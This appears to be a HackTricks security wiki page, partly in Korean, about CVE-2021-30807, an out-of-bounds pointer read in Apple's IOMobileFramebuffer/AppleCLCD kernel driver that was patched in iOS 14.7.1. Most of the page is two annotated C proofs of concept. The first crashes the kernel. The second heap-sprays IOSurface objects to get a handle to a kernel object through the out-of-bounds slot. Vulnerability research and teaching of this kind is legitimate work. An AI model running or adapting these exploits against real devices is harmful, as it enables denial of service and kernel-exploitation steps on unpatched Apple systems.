CVE-2021-30807: IOMobileFrameBuffer OOB
Reading time: 10 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
취약점
You have a great explanation of the vuln here, but as summary:
-
취약한 코드 경로는 IOMobileFramebuffer / AppleCLCD user client의 external method #83:
IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
입니다. 이 메서드는 사용자에 의해 제어되는 파라미터를 받는데 전혀 검증하지 않으며 다음 함수로 **scalar0
**로 전달됩니다. -
해당 메서드는 **
IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)
**로 전달되며, 여기서scalar0
(사용자가 제어하는 32-bit 값)는 내부 포인터 배열에 대한 인덱스로 사용되지만 경계 검사가 전혀 없습니다:
ptr = *(this + 0xA58 + scalar0 * 8);
→IOSurfaceRoot::copyPortNameForSurfaceInTask(...)
로 전달되어 **IOSurface*
**로 사용됩니다.
Result: 배열에서 OOB pointer read & type confusion가 발생합니다. 포인터가 유효하지 않으면 커널 deref가 panic하여 → DoS.
note
This was fixed in iOS/iPadOS 14.7.1, macOS Big Sur 11.5.1, watchOS 7.6.1
warning
The initial function to call IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
is protected by the entitlement com.apple.private.allow-explicit-graphics-priority
. However, WebKit.WebContent has this entitlement, so it can be used to trigger the vuln from a sandboxed process.
DoS PoC
The following is the initial DoS PoC from the ooriginal blog post with extra comments:
// PoC for CVE-2021-30807 trigger (annotated)
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
// Build/run only on devices you own and that are vulnerable.
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory)
// https://support.apple.com/en-us/103144
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807
void trigger_clcd_vuln(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
// The "type" argument is the type (selector) of user client to open.
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
// external methods we need (incl. selector 83). If this doesn't work on your
// build, try different types or query IORegistry to enumerate.
int type = 2;
// 1) Locate the IOMobileFramebuffer service in the IORegistry.
// This returns the first matched service object (a kernel object handle).
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOMobileFramebuffer"));
if (service == MACH_PORT_NULL) {
printf("failed to open service\n");
return;
}
printf("service: 0x%x\n", service);
// 2) Open a connection (user client) to the service.
// The user client is what exposes external methods to userland.
// 'type' selects which user client class/variant to instantiate.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if (ret != KERN_SUCCESS) {
printf("failed to open userclient: %s\n", mach_error_string(ret));
return;
}
printf("client: 0x%x\n", shared_user_client_conn);
printf("call externalMethod\n");
// 3) Prepare input scalars for the external method call.
// The vulnerable path uses a 32-bit scalar as an INDEX into an internal
// array of pointers WITHOUT bounds checking (OOB read / type confusion).
// We set it to a large value to force the out-of-bounds access.
uint64_t scalars[4] = { 0x0 };
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup
// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
uint64_t output_scalars[4] = { 0 };
uint32_t output_scalars_size = 1;
printf("call s_default_fb_surface\n");
// 5) Invoke external method #83.
// On vulnerable builds, this path ends up calling:
// IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
// → IOMobileFramebufferLegacy::get_displayed_surface(...)
// which uses our index to read a pointer and then passes it as IOSurface*.
// If the pointer is bogus, IOSurface code will dereference it and the kernel
// will panic (DoS).
ret = IOConnectCallMethod(
shared_user_client_conn,
83, // **Selector 83**: vulnerable external method
scalars, 1, // input scalars (count = 1; the OOB index)
NULL, 0, // no input struct
output_scalars, &output_scalars_size, // optional outputs
NULL, NULL); // no output struct
// 6) Check the call result. On many vulnerable targets, you'll see either
// KERN_SUCCESS right before a panic (because the deref happens deeper),
// or an error if the call path rejects the request (e.g., entitlement/type).
if (ret != KERN_SUCCESS) {
printf("failed to call external method: 0x%x --> %s\n",
ret, mach_error_string(ret));
return;
}
printf("external method returned KERN_SUCCESS\n");
// 7) Clean up the user client connection handle.
IOServiceClose(shared_user_client_conn);
printf("success!\n");
}
임의 읽기 PoC 설명
- 적절한 user client 열기
get_appleclcd_uc()
는 AppleCLCD 서비스를 찾아 user client type 2를 엽니다. AppleCLCD와 IOMobileFramebuffer는 같은 external-methods 테이블을 공유하며; type 2는 selector 83을 노출합니다. 이것이 버그로 들어가는 진입점입니다. E_POC/)
왜 83이 중요한가: 디컴파일된 경로는 다음과 같습니다:
IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
→IOMobileFramebufferUserClient::get_displayed_surface(...)
→IOMobileFramebufferLegacy::get_displayed_surface(...)
마지막 호출 내부에서, 코드는 경계 검사 없이 32비트 스칼라를 배열 인덱스로 사용하고, **this + 0xA58 + index*8
**에서 포인터를 가져와IOSurface*
로IOSurfaceRoot::copyPortNameForSurfaceInTask(...)
에 전달합니다. 그게 OOB + 타입 혼동입니다.
- 힙 스프레이 (왜 IOSurface가 여기에 나타나는가)
-
do_spray()
는 **IOSurfaceRootUserClient
**를 사용해 많은 IOSurface를 생성하고 **작은 값들로 스프레이(s_set_value 스타일)**합니다. 이는 커널 힙 인근을 유효한 IOSurface 객체들에 대한 포인터들로 채웁니다. -
목표: selector 83이 합법 테이블을 벗어나 읽을 때, OOB 슬롯에 당신이 만든(실제) IOSurface 포인터 중 하나가 들어 있을 가능성이 있어, 이후 역참조가 크래시를 일으키지 않고 성공하게 됩니다. IOSurface는 고전적이고 문서화된 커널 스프레이 프리미티브이며, Saar의 포스트는 이 익스플로잇 흐름에 사용된 create / set_value / lookup 메서드를 명시적으로 나열합니다.
- "offset/8" 트릭 (그 인덱스가 실제로 의미하는 것)
-
trigger_oob(offset)
에서는scalars[0] = offset / 8
로 설정합니다. -
왜 8로 나누나? 커널은 **
base + index*8
**를 수행해 어느 포인터 크기 슬롯을 읽을지 계산합니다. 당신은 바이트 오프셋이 아니라 **"슬롯 번호 N"**을 선택하는 것입니다. 64비트에서는 슬롯당 8바이트입니다. -
계산된 주소는 **
this + 0xA58 + index*8
**입니다. PoC는 큰 상수(0x1200000 + 0x1048
)를 사용해 단순히 합법 범위를 훨씬 벗어나 IOSurface 포인터들로 조밀하게 채우려 한 영역으로 들어갑니다. 스프레이가 "이기면", 당신이 건드린 슬롯은 유효한IOSurface*
입니다.
- selector 83이 반환하는 것 (이 부분이 미묘함)
- 호출은 다음과 같습니다:
IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, output_scalars, &output_scalars_size, NULL, NULL);
o
-
내부적으로, OOB 포인터 조회 이후 드라이버는
**IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)
**를 호출합니다. -
결과: **
output_scalars[0]
는 당신의 태스크에서의 Mach 포트 이름(u32 핸들)**로, OOB를 통해 전달된 객체 포인터에 대응합니다. 이것은 원시 커널 주소의 leak가 아니라, 유저스페이스 핸들(send right)입니다. 이 정확한 동작(포트 이름을 복사하는 것)은 Saar의 디컴파일에서 확인됩니다.
왜 유용한가: (가짜) IOSurface에 대한 포트 이름을 얻으면, 이제 다음 같은 IOSurfaceRoot 메서드를 사용할 수 있습니다:
s_lookup_surface_from_port
(method 34) → 포트를 surface ID로 바꿔 다른 IOSurface 호출로 조작할 수 있고,s_create_port_from_surface
(method 35) → 필요하면 그 반대도 수행합니다.
Saar는 다음 단계로 정확히 이 메서드들을 지목합니다. PoC는 OOB 슬롯에서 합법적인 IOSurface 핸들을 "만들어낼" 수 있음을 증명하고 있습니다. Saaramar
이 PoC는 여기에서 가져왔습니다 — 단계 설명을 위해 몇 가지 주석을 추가했습니다:
#include "exploit.h"
// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
io_connect_t get_appleclcd_uc(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)
// Find the **AppleCLCD** service in the IORegistry.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
if(service == MACH_PORT_NULL) {
printf("[-] failed to open service\n");
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD service: 0x%x\n", service);
// Open a user client connection to AppleCLCD with the chosen **type**.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if(ret != KERN_SUCCESS) {
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
return shared_user_client_conn;
}
// Trigger the OOB index path of external method #83.
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
uint64_t trigger_oob(uint64_t offset) {
kern_return_t ret;
// The method takes a single 32-bit scalar that it uses as an index.
uint64_t scalars[1] = { 0x0 };
scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐
// #83 returns one scalar. In this flow it will be the Mach port name
// (a u32 handle in our task), not a kernel pointer.
uint64_t output_scalars[1] = { 0 };
uint32_t output_scalars_size = 1;
io_connect_t appleclcd_uc = get_appleclcd_uc();
if (appleclcd_uc == MACH_PORT_NULL) {
return 0;
}
// Call external method 83. Internally:
// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch
// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
// which creates a send right for that object and writes its port name
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
ret = IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);
if (ret != KERN_SUCCESS) {
printf("[-] external method 83 failed: %s\n", mach_error_string(ret));
return 0;
}
// This is the key: you get back a Mach port name (u32) to whatever
// object was at that OOB slot (ideally an IOSurface you sprayed).
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
return output_scalars[0];
}
// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
// real IOSurface (easier & stabler than a fully fake object).
bool do_spray(void) {
char data[0x10];
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.
// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
return false;
}
// Create many IOSurfaces and use set_value / value spray helpers
// (Brandon Azad-style) to fan out allocations in kalloc. ⭐
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc); // s_create_surface
if (surface_ids[i] <= 0) {
return false;
}
// Spray small values repeatedly: tends to allocate/fill predictable
// kalloc regions near where the IOMFB table OOB will read from.
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200, // rounds, per-round items
data, sizeof(data),
NULL) == false) {
printf("iosurface spray failed\n");
return false;
}
}
return true;
}
int main(void) {
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
return 0;
}
printf("[*] do spray\n");
if (do_spray() == false) {
printf("[-] shape failed, abort\n");
return 1;
}
printf("[*] spray success\n");
// Trigger the OOB read. The magic constant chooses a pointer-slot
// far beyond the legit array (offset is in bytes; index = offset/8).
// If the spray worked, this returns a **Mach port name** (handle) to one
// of your sprayed IOSurfaces; otherwise it may crash.
printf("[*] trigger\n");
trigger_oob(0x1200000 + 0x1048);
return 0;
}
참고자료
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.